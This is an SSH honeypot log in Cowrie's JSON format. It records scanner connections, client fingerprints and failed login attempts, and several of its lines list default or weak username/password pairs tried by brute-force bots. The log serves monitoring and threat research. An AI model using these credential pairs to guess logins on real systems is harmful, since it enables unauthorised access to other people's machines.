{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:31.040755Z","src_ip":"183.182.125.142","session":"d44dddc37bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:34.230023Z","src_ip":"8.218.166.49","session":"3f2459e18f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":5546,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a3f5245b591","protocol":"ssh","message":"New connection: 178.20.210.186:5546 (10.17.0.5:22) [session: 7a3f5245b591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:34.567394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:34.577653Z","src_ip":"178.20.210.186","session":"7a3f5245b591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:34.665290Z","src_ip":"178.20.210.186","session":"7a3f5245b591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:35.041429Z","src_ip":"178.20.210.186","session":"7a3f5245b591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:36.142252Z","src_ip":"178.20.210.186","session":"7a3f5245b591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:42.972622Z","src_ip":"8.218.166.49","session":"0eecfa4f322d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"108.8","message":"Connection lost after 108.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:46.249301Z","src_ip":"8.218.166.49","session":"3f2459e18f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":36640,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb96902026a","protocol":"ssh","message":"New connection: 68.183.178.130:36640 (10.17.0.5:22) [session: bdb96902026a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:48.236461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:48.240693Z","src_ip":"68.183.178.130","session":"bdb96902026a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:48.477067Z","src_ip":"68.183.178.130","session":"bdb96902026a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:49.462099Z","src_ip":"68.183.178.130","session":"bdb96902026a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:50.701965Z","src_ip":"68.183.178.130","session":"bdb96902026a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":40880,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5b4a1ff0e3","protocol":"ssh","message":"New connection: 198.23.150.42:40880 (10.17.0.5:22) [session: bb5b4a1ff0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:52.194837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:52.198968Z","src_ip":"198.23.150.42","session":"bb5b4a1ff0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:52.217869Z","src_ip":"198.23.150.42","session":"bb5b4a1ff0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:52.325845Z","src_ip":"198.23.150.42","session":"bb5b4a1ff0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:53.350715Z","src_ip":"198.23.150.42","session":"bb5b4a1ff0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64344,"dst_ip":"10.17.0.5","dst_port":22,"session":"8626a30f9e76","protocol":"ssh","message":"New connection: 95.90.13.168:64344 (10.17.0.5:22) [session: 8626a30f9e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:59.169228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:59.173955Z","src_ip":"95.90.13.168","session":"8626a30f9e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:59.283019Z","src_ip":"95.90.13.168","session":"8626a30f9e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:59.739923Z","src_ip":"95.90.13.168","session":"8626a30f9e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:00.853262Z","src_ip":"95.90.13.168","session":"8626a30f9e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":58245,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20c2194cb33","protocol":"ssh","message":"New connection: 49.207.40.162:58245 (10.17.0.5:22) [session: b20c2194cb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:03.002395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:03.007326Z","src_ip":"49.207.40.162","session":"b20c2194cb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:03.223492Z","src_ip":"49.207.40.162","session":"b20c2194cb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretoria","message":"login attempt [root/pretoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:04.118841Z","src_ip":"49.207.40.162","session":"b20c2194cb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:05.338116Z","src_ip":"49.207.40.162","session":"b20c2194cb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35672,"dst_ip":"159.203.135.109","dst_port":22,"session":"f913ea1ecefe","protocol":"ssh","message":"New connection: 2.57.122.238:35672 (159.203.135.109:22) [session: f913ea1ecefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:10.647229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:10.652127Z","src_ip":"2.57.122.238","session":"f913ea1ecefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:10.757354Z","src_ip":"2.57.122.238","session":"f913ea1ecefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:11.073052Z","src_ip":"2.57.122.238","session":"f913ea1ecefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:12.181906Z","src_ip":"2.57.122.238","session":"f913ea1ecefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49778,"dst_ip":"10.17.0.5","dst_port":22,"session":"33f5afd33c90","protocol":"ssh","message":"New connection: 8.218.166.49:49778 (10.17.0.5:22) [session: 33f5afd33c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:22.851099Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":36098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74c9980ca22","protocol":"ssh","message":"New connection: 68.183.178.130:36098 (10.17.0.5:22) [session: b74c9980ca22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:24.601669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:24.606779Z","src_ip":"68.183.178.130","session":"b74c9980ca22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:24.844373Z","src_ip":"68.183.178.130","session":"b74c9980ca22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:25.822800Z","src_ip":"68.183.178.130","session":"b74c9980ca22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:27.062761Z","src_ip":"68.183.178.130","session":"b74c9980ca22","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:28.165883Z","src_ip":"8.218.166.49","session":"33f5afd33c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:28.169670Z","src_ip":"8.218.166.49","session":"33f5afd33c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":41924,"dst_ip":"10.17.0.5","dst_port":22,"session":"278cdf3521d1","protocol":"ssh","message":"New connection: 14.63.196.175:41924 (10.17.0.5:22) [session: 278cdf3521d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:31.101446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:31.106844Z","src_ip":"14.63.196.175","session":"278cdf3521d1","protocol":"ssh"}
